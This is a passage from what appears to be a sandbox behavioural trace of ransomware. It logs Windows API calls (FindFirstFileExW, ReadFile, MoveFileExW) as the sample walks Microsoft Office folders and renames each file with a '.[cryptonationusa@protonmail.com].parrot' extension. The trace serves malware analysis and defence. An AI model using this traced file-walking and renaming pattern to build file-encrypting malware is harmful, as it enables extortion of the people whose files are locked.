lpNewFilePointer=0x0) returned 1 [0211.714] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0011.TLL" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0011.tll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBLZ0011.TLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\vblz0011.tll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.725] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.725] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.727] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.727] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10c8, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x10c8, lpOverlapped=0x0) returned 1 [0211.728] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2EXCL.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\vbs2excl.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2EXCL.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\vbs2excl.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.735] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.735] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0211.736] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.736] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x189d, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x189d, lpOverlapped=0x0) returned 1 [0211.737] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2WORD.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\vbs2word.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VBS2WORD.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\vbs2word.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.743] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0211.744] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0211.744] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.744] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0211.744] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0211.744] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0211.744] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0211.744] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0211.745] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0211.748] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0211.748] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.752] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0211.752] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0211.752] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6e4b00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50526960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1d6e4b00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTDIR_M.VST", cAlternateFileName="")) returned 1 [0211.752] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.752] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0211.754] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.754] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2b600, lpOverlapped=0x0) returned 1 [0211.762] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\actdir_m.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_M.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\actdir_m.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.773] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.773] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0211.774] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.774] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2b600, lpOverlapped=0x0) returned 1 [0211.782] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\actdir_u.vst"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ACTDIR_U.VST.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\actdir_u.vst.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.794] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.794] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0211.811] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.812] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5bc00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5bc00, lpOverlapped=0x0) returned 1 [0211.871] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ADO_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ado_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ADO_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ado_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.890] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.890] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0211.892] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.892] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x5a600, lpOverlapped=0x0) returned 1 [0212.207] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ADO_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ado_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ADO_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ado_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.225] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.226] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.227] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.227] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x21200, lpOverlapped=0x0) returned 1 [0212.291] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.292] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ADS_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ads_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ADS_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ads_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.300] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.300] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.301] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.301] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20600, lpOverlapped=0x0) returned 1 [0212.308] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ADS_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ads_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ADS_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\ads_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.317] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.317] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.321] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.321] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x16800, lpOverlapped=0x0) returned 1 [0212.326] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.331] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ALARM_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\alarm_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ALARM_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\alarm_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.340] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.340] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.344] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.344] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16400, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x16400, lpOverlapped=0x0) returned 1 [0212.347] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.351] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ALARM_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\alarm_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ALARM_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\alarm_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.358] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.389] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.391] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.391] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2c200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2c200, lpOverlapped=0x0) returned 1 [0212.396] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.400] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ANNOT_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\annot_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ANNOT_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\annot_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.407] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.407] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.409] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.409] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26800, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x26800, lpOverlapped=0x0) returned 1 [0212.416] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.420] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ANNOT_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\annot_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ANNOT_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\annot_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.428] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.428] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.441] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.441] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f600, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1f600, lpOverlapped=0x0) returned 1 [0212.447] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.452] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\APPL_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\appl_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\APPL_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\appl_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.461] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.461] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.463] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.463] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20a00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20a00, lpOverlapped=0x0) returned 1 [0212.468] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.469] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\APPL_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\appl_u.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\APPL_U.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\appl_u.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.476] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.476] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.477] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.477] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7200, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7200, lpOverlapped=0x0) returned 1 [0212.481] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.482] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ARROWS_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\arrows_m.vss"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\ARROWS_M.VSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\arrows_m.vss.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0212.488] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0212.488] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0212.490] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.490] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6c00, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, 